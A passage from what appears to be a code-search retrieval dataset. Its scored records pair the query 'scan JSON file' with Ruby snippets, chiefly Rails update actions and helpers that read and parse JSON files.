"docid": "cce6c9271dc8d03516a75e8fc477f2d7",
"score": "0.5329001",
"text": "def update!(**args)\n @color = args[:color] if args.key?(:color)\n @icon_url = args[:icon_url] if args.key?(:icon_url)\n @name = args[:name] if args.key?(:name)\n end",
"title": ""
},
{
"docid": "6e60de26139cc83685370b662c0663ea",
"score": "0.5324985",
"text": "def update\n @family_background = FamilyBackground.find(params[:id])\n\n respond_to do |format|\n if @family_background.update_attributes(params[:family_background])\n format.html { redirect_to(@family_background, :notice => 'Family background was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family_background.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "44ce38238cc3a71478614fda6851a835",
"score": "0.53213775",
"text": "def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "44ce38238cc3a71478614fda6851a835",
"score": "0.53213775",
"text": "def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "44ce38238cc3a71478614fda6851a835",
"score": "0.53213775",
"text": "def update\n @scribble = Scribble.find(params[:id])\n\n respond_to do |format|\n if @scribble.update_attributes(params[:scribble])\n format.html { redirect_to @scribble, :notice => 'Scribble was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @scribble.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a2d324f67ce193ad56301d34a77d0e1",
"score": "0.5314946",
"text": "def update\n respond_to do |format|\n if @palette.update(palette_params)\n format.html { redirect_to '/palettes', notice: 'Palette was successfully updated.' }\n format.json { render :show, status: :ok, location: @palette }\n else\n format.html { render :edit }\n format.json { render json: @palette.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25a55506fa88f53bc390be1a8aa6c924",
"score": "0.53126115",
"text": "def update\n respond_to do |format|\n if @admin_pricing_paint_color.update(admin_pricing_paint_color_params)\n format.html { redirect_to admin_pricing_paint_colors_path, notice: mk_notice(@admin_pricing_paint_color, @admin_pricing_paint_color.brand.name, 'قیمت برای برند رنگ', :update) }\n format.json { render json: @admin_pricing_paint_color, status: :ok, location: admin_pricing_paint_colors_path }\n else\n format.html { render :edit }\n format.json { render json: @admin_pricing_paint_color.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bbc9afa215954e5f7b95fb9f2c6eb0d8",
"score": "0.52948177",
"text": "def update\n @green_binder = GreenBinder.find(params[:id])\n\n respond_to do |format|\n if @green_binder.update_attributes(params[:green_binder])\n format.html { redirect_to(@green_binder, :notice => 'Green binder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @green_binder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c56aa65b7b7047f0ee6cc23fcccfc22",
"score": "0.5292344",
"text": "def update\n respond_to do |format|\n if @body_of_water.update(body_of_water_params)\n format.html { redirect_to @body_of_water, notice: \"Body of water was successfully updated.\" }\n format.json { render :show, status: :ok, location: @body_of_water }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @body_of_water.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c602493d344e61e4f54de29ecf624a4",
"score": "0.5275427",
"text": "def update!(**args)\n @background_color = args[:background_color] if args.key?(:background_color)\n @color = args[:color] if args.key?(:color)\n @font_family = args[:font_family] if args.key?(:font_family)\n @font_size = args[:font_size] if args.key?(:font_size)\n @font_weight = args[:font_weight] if args.key?(:font_weight)\n @text_anchor = args[:text_anchor] if args.key?(:text_anchor)\n @text_decoration = args[:text_decoration] if args.key?(:text_decoration)\n @text_style = args[:text_style] if args.key?(:text_style)\n end",
"title": ""
},
{
"docid": "57e3d9b12efafc6be758647fd9a17189",
"score": "0.5273704",
"text": "def set_colors\n store.change_colors(@colors)\n end",
"title": ""
},
{
"docid": "e7a20e3b8e95b8ecd648be2faf08de88",
"score": "0.5258976",
"text": "def update\n @bodydatum.height = @bodydatum.height.round(2)\n @bodydatum.weight = @bodydatum.weight.round(1)\n respond_to do |format|\n if @bodydatum.update(bodydatum_params)\n format.html { redirect_to @bodydatum, notice: 'Bodydatum was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bodydatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d49ef8ebd5ff7b21c18ee290645ea6b5",
"score": "0.52539283",
"text": "def update!(**args)\n @annotation_spec_colors = args[:annotation_spec_colors] if args.key?(:annotation_spec_colors)\n @mask_gcs_uri = args[:mask_gcs_uri] if args.key?(:mask_gcs_uri)\n end",
"title": ""
},
{
"docid": "63614c3c6163017018072cf11f69fbb8",
"score": "0.52536553",
"text": "def update\n @liga_blaz_blue = LigaBlazBlue.find(params[:id])\n\n respond_to do |format|\n if @liga_blaz_blue.update_attributes(params[:liga_blaz_blue])\n format.html { redirect_to(@liga_blaz_blue, :notice => 'Liga blaz blue was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @liga_blaz_blue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5d23d0f1aed4824a60fe92bb269539c0",
"score": "0.52536184",
"text": "def update\n @bubble_tea = BubbleTea.find(params[:id])\n\n if @bubble_tea.update(bubble_tea_params)\n render json: @bubble_tea\n else\n render plain: \"Failed to update drink information\"\n end\n end",
"title": ""
}
] |
6fbb6c05ca0c6bdae5e8f1d8a19ba7f3 | ++ scan JSON file | [
{
"docid": "435a42356029905de553ec5828737ea1",
"score": "0.0",
"text": "def test_c\n td = \n (TimeDuration.new(){\n map = Sumo::SumoMap.new() ;\n map.loadJsonFile(SampleJsonFile, :private) ;\n p [:mapLength, map.edgeTable.size, map.laneTable.size,\n map.originalIdTable.size, map.junctionTable.size] ;\n }) ;\n pp td.to_s ;\n end",
"title": ""
}
] | [
{
"docid": "6f76f1ddfc895dd0eac7ae4b0b135530",
"score": "0.8023693",
"text": "def scanJsonFromFile(file)\n open(file,\"r\"){|strm| scanJsonFromStream(strm) ; }\n end",
"title": ""
},
{
"docid": "d048d03b67db95184a14157c359bdb8a",
"score": "0.74307287",
"text": "def scanJson(json)\n @sourceJson = JSON::Parser.new(json).parse ;\n scanRoadJson(@sourceJson) ;\n scanPoIJson(@sourceJson) ;\n setCenterOrigin() ;\n end",
"title": ""
},
{
"docid": "645629943be672d214289091f190451f",
"score": "0.72105587",
"text": "def scanJsonFromStream(strm)\n scanJson(strm.read) ;\n end",
"title": ""
},
{
"docid": "ff495c03b5a7323037b69ae02d4fffea",
"score": "0.69034624",
"text": "def checkJSON(json)\n # FIXME: logical check of cluster pending\n jsonObj = File.read(json)\n begin\n @parsed_obj = JSON.parse(jsonObj)\n rescue JSON::ParserError => e\n puts \"ERROR: JSON file parsing error\"\n exit\n end\n end",
"title": ""
},
{
"docid": "aa2696c09309b124e68f289582cb34c2",
"score": "0.66669285",
"text": "def getJson(file)\r\n\r\n end",
"title": ""
},
{
"docid": "ed4e80851c6b0e0638de61fd79717635",
"score": "0.6612744",
"text": "def load_json(filename); end",
"title": ""
},
{
"docid": "9d3a79ea2b087690082cd6898f76fdfa",
"score": "0.648087",
"text": "def load_from_json(filename); end",
"title": ""
},
{
"docid": "1b53c9d4cab38882e8e8cd96dfd9c3de",
"score": "0.6465078",
"text": "def load \n begin\n file = File.read(@json_path) \n rescue \n @ready = false\n puts \"Error: cannot open input file\"\n end\n begin\n @specs = JSON.parse(file)\n @ready = true\n rescue\n @ready = false\n puts \"Error: JSON file is invalid\"\n end\n return @ready\n end",
"title": ""
},
{
"docid": "0b1688d9a6f7826f65d9f3b80f8c2ca7",
"score": "0.6388801",
"text": "def dumb_read_json(path)\n File.open(path, 'r') do |file|\n # regxp partially sourced from https://stackoverflow.com/questions/19910002/remove-comments-from-json-data\n JSON.parse(file.read.gsub(/(?:\\/\\/[^\\n]+$)|(?:\\/\\*(?:[^*]+|\\*+(?!\\/))*\\*\\/)/m, ''))\n end\n end",
"title": ""
},
{
"docid": "c05cae9e5e53cff2c868a3e65ef270db",
"score": "0.6310244",
"text": "def load_json(file)\n # TBD\n end",
"title": ""
},
{
"docid": "a9ec941d813f074397462c2a33725b3f",
"score": "0.63037455",
"text": "def read\n JSON.parse(File.read(@json))\n end",
"title": ""
},
{
"docid": "f1c8dad88312c5302515d47868276d41",
"score": "0.62765735",
"text": "def extract_datas_from_json(path)\n file = File.read(path)\n data_details = JSON.parse(file)\n return data_details\nend",
"title": ""
},
{
"docid": "f1c8dad88312c5302515d47868276d41",
"score": "0.62765735",
"text": "def extract_datas_from_json(path)\n file = File.read(path)\n data_details = JSON.parse(file)\n return data_details\nend",
"title": ""
},
{
"docid": "f1c8dad88312c5302515d47868276d41",
"score": "0.62765735",
"text": "def extract_datas_from_json(path)\n file = File.read(path)\n data_details = JSON.parse(file)\n return data_details\nend",
"title": ""
},
{
"docid": "536e8861eaeff70f7b0230e29fced540",
"score": "0.62660515",
"text": "def parse_json(filename)\n debug_trace(\"Parsing JSON #{filename}.json\")\n data = JSON.load(IO.read(\"#{$source_dir}#{filename}.json\"))\n\n if !data[\"version\"] || data[\"version\"] < ($data_version - 1)\n abort_msg(\"Outdated JSON file #{filename}.json\", nil)\n end\n\n if data[\"version\"] >= $data_version\n error_msg(\"File #{filename}.json has already been processed.\", nil)\n $skipped_json_filenames.push(filename)\n return nil\n end\n\n data[\"version\"] = $data_version\n return data\nend",
"title": ""
},
{
"docid": "51c21bcd23c277d4fae11500562263f9",
"score": "0.6240566",
"text": "def scanLogJson(json)\n if(json['status'] == 'cancel') then\n @cancelCount += 1 ;\n else\n @completeCount += 1 ;\n # speed, dist, time\n scanDistTimeSpeed(json) ;\n # share count\n scanShareCount(json) ;\n # dropOff margin\n scanDropOffMargin(json) ;\n end\n end",
"title": ""
},
{
"docid": "1c1dd15ebc9941c7af3c7e02ec0527cd",
"score": "0.62393314",
"text": "def file_should_contain_json(filename, json_text)\n got_json = JSON.load(File.open(filename))\n want_json = JSON.parse(json_text)\n\n got_json.zip(want_json).each do |got_row, want_row|\n got_row.zip(want_row).each do |got, want|\n got.should =~ /^#{want}/\n end\n end\n end",
"title": ""
},
{
"docid": "4bcea022a90285d360b20d5cbf105560",
"score": "0.6236145",
"text": "def cherche_parnom(s)\n\n result_array = []\n file = File.open(\"data2.json\")\n file_data = file.read\n data_parsed = JSON.parse(file_data)\n data_parsed.each_with_index do |element, index|\n\t if element[\"nom\"] =~ /#{s}/\n\t\tresult_array << element\n\t end\n\tend\n return result_array\n\nend",
"title": ""
},
{
"docid": "39e61204f929eb01c0f2f7784e8888b5",
"score": "0.622971",
"text": "def read_har(fname)\n JSON.parse File.read(fname)\nend",
"title": ""
},
{
"docid": "7cbed6ed86c03b7d59b0f1016061e0c7",
"score": "0.6222794",
"text": "def retrieve_and_parse_data\r\n data = File.open(json_file, 'r')\r\n Yajl::Parser.parse data\r\n end",
"title": ""
},
{
"docid": "e58e3b134e9104930f272f7d034ff1f8",
"score": "0.6179513",
"text": "def fetch_json_info\n return {} unless File.exist?(@json_file)\n content = File.read(@json_file, encoding: 'utf-8')\n JSON.parse(content, symbolize_names: true)\n end",
"title": ""
},
{
"docid": "7c7427104ea1a1df12a74e271cef4d85",
"score": "0.6156103",
"text": "def parse_json_data(fname)\n json_data = JSON.parse(File.read(fname))\n return json_data\nend",
"title": ""
},
{
"docid": "404284786a6f2b0049016174001b3630",
"score": "0.6142402",
"text": "def parsed_contents\n @hash ||= JSON.parse File.read(json_path)\n end",
"title": ""
},
{
"docid": "87b718022cee0a689ce8359e90352710",
"score": "0.6140967",
"text": "def from_json(filename); end",
"title": ""
},
{
"docid": "2db5b34998c5beb728dde0dbe56c2960",
"score": "0.61145586",
"text": "def ler_arquivo_json\n\tif ARGV.length != 1\n\t puts \"Informe o arquivo com conteúdo no formato JSON.\"\n\t exit\n\telse\n\t\tarquivo = ARGV[0]\n\t\tif File.file?(arquivo)\n\t\t\t#...\n\t\t\t#... interpretar JSON do arquivo;\n\t\t\tjson = ler_json(arquivo)\n\t\t\tactions(json)\n\t\t\t#...\n\t\telse\n\t\t\tputs \"Conteúdo informado não é uma arquivo.\"\n\t\t\texit\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "5c1d82a3259940a9fdaac8b87c361d4c",
"score": "0.6109055",
"text": "def parse_json(filename)\n debug_trace(\"Parsing JSON #{filename}.json\")\n data = JSON.load(IO.read(\"#{$source_dir}#{filename}.json\"))\n new_data = {\"version\": 3}\n\n if !data[\"version\"] || data[\"version\"] < 2\n abort_msg(\"Outdated JSON file #{filename}.json\", nil)\n end\n\n if data[\"version\"] >= 3\n error_msg(\"File #{filename}.json has already been processed.\", nil)\n $skipped_json_filenames.push(filename)\n return nil\n end\n\n if data[\"points\"] && !data[\"points\"].empty?\n abort_msg(\"#{filename}.json should not have POI\", nil)\n end\n\n if data[\"parks\"]\n new_data[\"parks\"] = data[\"parks\"]\n end\n\n if data[\"trails\"]\n new_data[\"trails\"] = {}\n data[\"trails\"].each do |trail_id, trail|\n trail.delete(\"trailheads\")\n new_data[\"trails\"][trail_id] = trail\n end\n end\n\n return new_data\nend",
"title": ""
},
{
"docid": "0e6a5e0787ee79592f24072ad8f6e374",
"score": "0.610325",
"text": "def process_json(file_path)\n file = FileOperator.read(file_path)\n\n begin\n @config_content = JSON.parse(file)\n rescue JSON::ParserError\n LoggerOperator::fatal(\"Please make sure that the configuration file is valid JSON.\")\n exit(1)\n end\n\n end",
"title": ""
},
{
"docid": "5bcc5ce2b25f2221046b53537e734631",
"score": "0.60850483",
"text": "def readWhitelist filename=\"whitelist.json\"\n\tlist = Array.new\n\tjson = JSON.parse File.read(filename)\n\t#p json\n\tjson.each{ |user| list << user[\"name\"] }\n\treturn list\nend",
"title": ""
},
{
"docid": "3a963fd976810eabe1fd9006e0c5df24",
"score": "0.6071746",
"text": "def parse_json(path)\r\n JSON.parse((File.read(path)).to_s.encode('ascii', {:invalid => :replace, :undef => :replace, :replace => '?'}))\r\n end",
"title": ""
},
{
"docid": "d402033cc0ad9263edb9baed78b15d92",
"score": "0.6062358",
"text": "def parse_json(filename)\n p 'parse_json ' + filename if $debug >98\n begin\n json = JSON.parse!(File.open(filename).read)\n rescue JSON::ParserError => ex\n puts \"Error: Cannot parse \" + filename\n puts \"#{ex.message}\"\n exit -1\n end\n return json\nend",
"title": ""
},
{
"docid": "8eb31b2a4be18c39c28604659b82d534",
"score": "0.6046238",
"text": "def parse_json\n jfile = open(CONFIG_FILE)\n json = jfile.read\n JSON.parse(json)\nend",
"title": ""
},
{
"docid": "5285a36c7787417c5f1dc50508078f56",
"score": "0.6040061",
"text": "def read_json; read.from_json; end",
"title": ""
},
{
"docid": "582c3600bddbad29c00a4c2226c3506e",
"score": "0.6039007",
"text": "def extract_hashes_from_json_file(file_name)\n File.exist?(file_name) ? JSON.parse(File.read(file_name)) : [{}]\n end",
"title": ""
},
{
"docid": "9a7e44708008701803c34400b8b6efcd",
"score": "0.6036795",
"text": "def loadJsonFile(_filename)\n open(_filename,\"r\"){|istrm|\n _json = JSON.parse(istrm.read(), {:symbolize_names => true}) ;\n setupByJson(_json) ;\n }\n end",
"title": ""
},
{
"docid": "6ed63f40d849f69d3ab96e46f210ddb0",
"score": "0.60349756",
"text": "def validator(a)\n\tFile.open('/Users/sumit/Documents/Zendesk-challenge/honeypot.json').each_line do |line|\n \t \tline.chomp!.downcase!\n\t \tif line.match(/#{a}/)\n\t\t \tjson = JSON.parse(line)\n\t\t \tnewJson = JSON.parse(json[\"payload\"])\n\t\t \tputs \"Information for Victim IP: #{newJson[\"victimip\"]}\"\n\t\t \tputs \"Attacker IP: #{newJson[\"attackerip\"]}\"\n\t\t \tputs \"Connection Type: #{newJson[\"connectiontype\"]}\"\n\t\t \tputs \"Source: Honeypot\"\n\t\t \tputs \"Time stamp #{json[\"timestamp\"]}\"\n\t\t \tputs \"\\n\"\n\t \tend\n\t end\nend",
"title": ""
},
{
"docid": "5605762c37fd90eb7eb46caa37b6222f",
"score": "0.6034026",
"text": "def parse_json(text)\n JSON.parse(text)\nrescue JSON::ParserError => e\n $stdout << \"Invalid JSON file content #{e}\\n\"\n exit(1)\nend",
"title": ""
},
{
"docid": "82087fd15a5df8847b49a21ecc925b79",
"score": "0.60317314",
"text": "def getdata filename\n JSON.parse(File.read(filename))\nend",
"title": ""
},
{
"docid": "834ee80ade972427deb3b7ec3e20256e",
"score": "0.60237646",
"text": "def get_json(file_path)\n JSON.parse(File.read(file_path))\nend",
"title": ""
},
{
"docid": "5835fbbb323e874d3ad07f2e55a7684a",
"score": "0.6004497",
"text": "def parseFile(file)\n json = file.read\n return JSON.parse(json)\n end",
"title": ""
},
{
"docid": "3975581d5a6ece8679fd35654fd010f0",
"score": "0.5998796",
"text": "def retrieveJSON(filename) #return JSON of a file\n\ttxtfile = File.open(filename,'r')\n\tcontent = ''\n\ttxtfile.each do |line|\n\t\tcontent << line\n\tend\n\ttxtfile.close\n\tJSON.parse(content)\nend",
"title": ""
},
{
"docid": "03d85d6637b30ebc02e9c9cb63d54e62",
"score": "0.599778",
"text": "def find_files\n Dir[\"#{base_path}/*.json\"]\nend",
"title": ""
},
{
"docid": "544ffeaede68e4a39d5fabd3a52a61d4",
"score": "0.5993935",
"text": "def parse_json(json)\n json = Yajl::Parser.new.parse(open(json).read)\n block_given? ? yield(json) : json\n end",
"title": ""
},
{
"docid": "91b8f1f8b02860f4e8a85135d76affe4",
"score": "0.59937656",
"text": "def parseJson(string)\n\t\tdict = JSON.parse(string)\n\t\ttitles = Array.new\n\t\tlinks = Array.new\n\t\tdict['data']['children'].each do |link|\n\t\t\tif (link['kind'] == 't3') #This is a link\n\t\t\t\ttitles << link['data']['title']\n\t\t\t\tlinks << [link['data']['permalink'], link['data']['url']]\n\t\t\tend\n\t\tend\n\t\t#if ! Rails.application.config.countryLocations\n\t\t#\tCountries::readLocations\n\t\t#end\n\t\tsearchTitles(titles, Rails.application.config.countryLocations, links)\n\tend",
"title": ""
},
{
"docid": "db7a211fd862f114b669b2b9323721ba",
"score": "0.59897894",
"text": "def parse()\n if !File.exist?(\"./lib/command-food-app/#{@mod}/#{@path}\")\n puts \"Error: ./lib/command-food-app/#{@mod}/#{@path} does not exist\"\n return {}\n end\n\n \t\tfile = File.open(\"./lib/command-food-app/#{@mod}/#{@path}\", \"rb\")\n\t\t contents = file.read\n\t\t file.close\n\t\t contents = JSON.parse(contents)\n\n\t return contents\n end",
"title": ""
},
{
"docid": "1720db490eb1cd4f3fc69a7e1f2e322c",
"score": "0.5978171",
"text": "def ler_json(arquivo)\n\tjson_from_file = File.read(arquivo)\n\thash = JSON.parse(json_from_file)\n\thash\nend",
"title": ""
},
{
"docid": "0ef16cc316e47c54c8da3a6d09e90f09",
"score": "0.5965793",
"text": "def parse_json(text)\n JSON.parse(text)\nrescue JSON::ParserError => e\n raise \"Invalid JSON file content #{e}\\n\"\nend",
"title": ""
},
{
"docid": "903a4718a12a846b2d9b5511987c4aef",
"score": "0.59657466",
"text": "def parse_json(json)\n require 'json'\n JSON.parse(json)[\"files\"].map { |h| h.values_at('size', 'name', 'extension') }\n end",
"title": ""
},
{
"docid": "100742e24c2c9561a210c514fdcc6281",
"score": "0.5963795",
"text": "def read_movies\n JSON.parse(File.read(\"movies.json\"))\nend",
"title": ""
},
{
"docid": "2a2c62147463638e064b23ca7bb0907b",
"score": "0.59583545",
"text": "def load_json_file(filename)\n JSON.parse(File.read(filename))\nend",
"title": ""
},
{
"docid": "379af4918deb8448b70609e1f2d2fede",
"score": "0.5942068",
"text": "def parse_file(pathname)\n parse_json(JSON::parse(pathname.read), pathname.basename.to_s) if pathname.exist?\n end",
"title": ""
},
{
"docid": "20e2867a4fd5ad08fa246c49e2f40a68",
"score": "0.5938902",
"text": "def read_json(file_name)\n file = File.read(file_name)\n data_hash = JSON.parse(file)\nend",
"title": ""
},
{
"docid": "4fed01ae6fd401093a051b0b46b704c8",
"score": "0.5936534",
"text": "def initialize(file)\n json_files = []\n @test_runs = {}\n\n if File.directory?(file)\n json_files = Dir.entries(file)\n json_files.delete_if { |f| f.chars.first == \".\" }\n json_files.map! { |f| File.join(file, f) }\n\n else\n json_files.push(File.expand_path(file))\n end\n\n file_count = json_files.length\n puts \"Attempting to process #{file_count} json files\"\n # FIXME\n # rubocop:disable Metrics/BlockLength\n json_files.each do |json|\n # totally unclear what this is doing\n # counting chars? allocating buffer?\n output_char = (file_count % 50).zero? ? \".\\n\" : \".\"\n\n File.open(json).each do |line|\n # TODO: fix dirty data\n begin\n json_object = JSON.parse(line)\n rescue JSON::ParserError => e\n raise \"invalid JSON in file '#{json}': #{e}\"\n end\n # translate elasticsearch record to QALEK2 schema\n\n # TODO: use single instance var, don't pass to other method\n unless json_object[\"_source\"]\n raise \"missing '_source' key in file '#{json}'\"\n end\n %w[jenkins_build_url\n job_name\n start_time\n test_case_suite\n test_case_name\n test_case_status\n test_case_time\n pre_suite_time\n tests_time\n configs].each do |field|\n unless json_object[\"_source\"][field]\n raise \"missing #{field} key in '_source' field in file '#{json}'\"\n end\n end\n execution_id = json_object[\"_source\"][\"jenkins_build_url\"]\n project = json_object[\"_source\"][\"job_name\"]\n configuration = []\n start_time = json_object[\"_source\"][\"start_time\"]\n suite_name = json_object[\"_source\"][\"test_case_suite\"]\n suite_duration = json_object[\"_source\"][\"#{suite_name}_time\"]\n test_name = json_object[\"_source\"][\"test_case_name\"]\n test_status = json_object[\"_source\"][\"test_case_status\"]\n test_duration = json_object[\"_source\"][\"test_case_time\"]\n\n # configuration experiment\n conf = json_object[\"_source\"][\"configs\"]\n conf.each { |k, v| configuration.push(\"#{k}=#{v}\") } if conf\n\n @test_record = {\n \"execution_id\" => execution_id,\n # TODO: need to find a better way to translate project name\n \"project\" => project,\n # \"duration\" => json_object[\"_source\"][],\n \"configuration\" => configuration,\n \"start_time\" => (Time.parse(start_time).utc if start_time),\n \"suite_name\" => suite_name,\n\n # need to look up which suite this is\n \"suite_duration\" => suite_duration,\n \"test_name\" => test_name,\n \"test_status\" => test_status,\n \"test_duration\" => test_duration\n }\n\n # add up test_run duration, values could be nil\n suite_durations = [json_object[\"_source\"][\"pre_suite_time\"],\n json_object[\"_source\"][\"tests_time\"]].compact\n @test_record[\"duration\"] = suite_durations.inject(:+)\n\n # do the thing\n insert_record(@test_record)\n end\n\n print output_char\n file_count += -1\n end\n end",
"title": ""
},
{
"docid": "9a5175e65ee96fb07f7a97d025f8484d",
"score": "0.5935938",
"text": "def valid\n begin\n if @raw_json.end_with? '.json'\n file = File.read(@raw_json)\n @json = JSON.parse(file)\n else\n @json = JSON.parse(@raw_json)\n end\n rescue JSON::ParserError => e\n raise StandardError, 'Error: wrong filetype or invalid json ' + e.message\n end\n end",
"title": ""
},
{
"docid": "61fa59afae99bbc2b4d5839c92631bf9",
"score": "0.593563",
"text": "def scanJson(json)\n @id = json['id'] ;\n @type = json['type'] ;\n posXY = json['pos'] ;\n @pos = Geo2D::Point.sureGeoObj(posXY) ;\n\n return self ;\n end",
"title": ""
},
{
"docid": "fd0441721063a82c13f292577bc790b7",
"score": "0.59337735",
"text": "def loadJsonFile(jsonFile, vehicleType = nil)\n open(jsonFile,'r'){|strm|\n logging(:info, \"loading map file (json):\" + jsonFile) ;\n json = JSON.load(strm) ;\n logging(:info, \"scan json map\") ;\n scanJson(json, vehicleType) ;\n }\n return self ;\n end",
"title": ""
},
{
"docid": "170e4f96bd619002d364d02dbff9c2f4",
"score": "0.59233093",
"text": "def read_json_from_dir( input_dir )\n cp_paths = Dir.glob(File.join(input_dir, '*.json'))\n\n cp_paths.map do |path|\n File.open(path){ |file| JSON.load file }\n end\nend",
"title": ""
},
{
"docid": "e2e4a247b0c1a58a4f6417cfacb49cb9",
"score": "0.5922131",
"text": "def scan_file(_path); end",
"title": ""
},
{
"docid": "48c1367d65946bf9537044ff8d7d23da",
"score": "0.59163094",
"text": "def search_file_to_hash(file)\n contents = File.read(file)\n JSON.parse(contents)\n end",
"title": ""
},
{
"docid": "6d9a6fe2880545b459db17d5b13fa6e1",
"score": "0.5913654",
"text": "def get_keys(file_name)\n keys_json = File.open(file_name, \"r\").read\n parsed = JSON.parse(keys_json)\nend",
"title": ""
},
{
"docid": "838cdefa54cc6a379ba34c2db52eb74e",
"score": "0.5913314",
"text": "def scanJson(json)\n @id = json['id'] ;\n @fromId = json['from'] ;\n @toId = json['to'] ;\n @type = json['type'] ;\n\n _laneList = json['laneList'] ;\n\n @laneList = _laneList.map{|laneJson|\n lane = Lane.new() ;\n lane.scanJson(laneJson, self) ;\n lane ;\n }\n\n return self ;\n end",
"title": ""
},
{
"docid": "0fc2fc6733f334221b8b64c0fe95aad7",
"score": "0.59129816",
"text": "def read_json_file\n file_name_and_extension = [file_selection_opts[@selected_file], file_processor.file_ext].join\n file_full_path = File.join(file_processor.file_path, file_name_and_extension)\n @content = JSON.parse(File.read(file_full_path))\n content_keys = content.first.keys\n @content_fields_hash = Hash[(1..content_keys.size).zip content_keys]\n get_field_name\n end",
"title": ""
},
{
"docid": "f3bee8d51519825167f42136fe7e46d0",
"score": "0.5910793",
"text": "def scan_file(path); end",
"title": ""
},
{
"docid": "f3bee8d51519825167f42136fe7e46d0",
"score": "0.5910793",
"text": "def scan_file(path); end",
"title": ""
},
{
"docid": "c196f7312b6e078d80dc3e92a22254a0",
"score": "0.59007084",
"text": "def read_data(filename)\n open(filename) do |f|\n json = f.read\n check_pretty_printed(json)\n if @encoding && !/^utf8$/i.match(@encoding)\n iconverter = Iconv.new('utf8', @encoding)\n json = iconverter.iconv(json)\n end\n return JSON::parse(json, :max_nesting => false)\n end\n rescue => e\n Editor.error_dialog(self, \"Failed to parse JSON file: #{e}!\")\n return\n end",
"title": ""
},
{
"docid": "1f35047534722a59078d136184dbc282",
"score": "0.5900128",
"text": "def json_from_lines(filename)\n File.open(filename).each do |line|\n yield JSON.parse(line)\n end\nend",
"title": ""
},
{
"docid": "bf894f1f123cc16300a5531f573b04c7",
"score": "0.5893808",
"text": "def load_data\n JSON.parse(IO.read(READ_FILE))\nend",
"title": ""
},
{
"docid": "6429c35a4263419d4062727c91e92313",
"score": "0.58798546",
"text": "def read_json(file)\n return JSON.parse(File.read(file))\n end",
"title": ""
},
{
"docid": "6429c35a4263419d4062727c91e92313",
"score": "0.58798546",
"text": "def read_json(file)\n return JSON.parse(File.read(file))\n end",
"title": ""
},
{
"docid": "5ac280d8b1934ca9c85371032fb1d3ae",
"score": "0.58782566",
"text": "def scanLogStream(strm)\n scanLogInit() ;\n while(line = strm.gets())\n json = JSON.parse(line) ;\n scanLogJson(json) ;\n end\n end",
"title": ""
},
{
"docid": "26c3265d8459d40a70cc936a60a30b7f",
"score": "0.5860021",
"text": "def getJSON(path)\n file = File.read(path)\n JSON.parse(file)\nend",
"title": ""
},
{
"docid": "41ee0216779d8bb93e31a09f92a71d88",
"score": "0.58522844",
"text": "def import_json_data\n total = 0 \n Find.find('.//auto_import//tickets') do |fn| #在该目录下不能有子文件夹\n next if !(fn.include? '.json') #要排除目录自身\n tickets = JSON.parse IO.readlines(fn)[0]\n update_tickets_in_db tickets\n total += tickets.size\n puts \"#{sprintf('%2d',tickets.size)} tickets in #{fn}\"\n end\n puts \"total tickets readed: #{total}\"\nend",
"title": ""
},
{
"docid": "04f7f82283aa7aa0a972114b142f687e",
"score": "0.58454114",
"text": "def getProcessed(fileName, verbose)\n STDERR << \"Loading processed data...\\n\" if verbose\n process = Hash.new\n if File.exists?(fileName)\n JsonStreamer.new(ZFile.new(fileName)).each do |this|\n process[this[\"name\"]] = true\n end\n end\n process\nend",
"title": ""
},
{
"docid": "fbcc1bfe4d1a43f4f9a84f88b13123f2",
"score": "0.58417404",
"text": "def scan_hash(switch, path)\n scanned_docs = []\n read_doc_flag = false\n File.open(path, \"r\").each_line do |line|\n if (line[/^\\s*##.*/])\n args = line.strip.split(' ')\n # at start of body doc\n if args[1] == switch\n read_doc_flag = true\n scanned_docs.push(\"``` json\")\n # start writing json\n elsif read_doc_flag\n args.shift(1)\n formatted_json = []\n args.map do |entry|\n if /.*:/ =~ entry\n #format\n formatted_json.push('\"'+entry[0..-2]+'\"'+':')\n else\n # doesn't need formatting\n formatted_json.push(entry)\n end\n end\n doc = formatted_json.join(' ')\n scanned_docs.push(\"#{doc}\")\n end\n else\n # line has no ##, switch read flag off\n if read_doc_flag\n read_doc_flag = false\n scanned_docs.push(\"```\")\n end\n end\n end\n return scanned_docs\n end",
"title": ""
},
{
"docid": "0bc363561c9abe5d330db4522ccec573",
"score": "0.58408654",
"text": "def read_json()\r\n\r\n # if /public/blogs.json exists, read/parse its contents; otherwise set it to an empty array\r\n File.exist?('public/blogs.json') ? json = JSON.parse(File.read('public/blogs.json')) : json = []\r\n\r\nend",
"title": ""
},
{
"docid": "497292a558bacd2d150512d466c5cd92",
"score": "0.5836006",
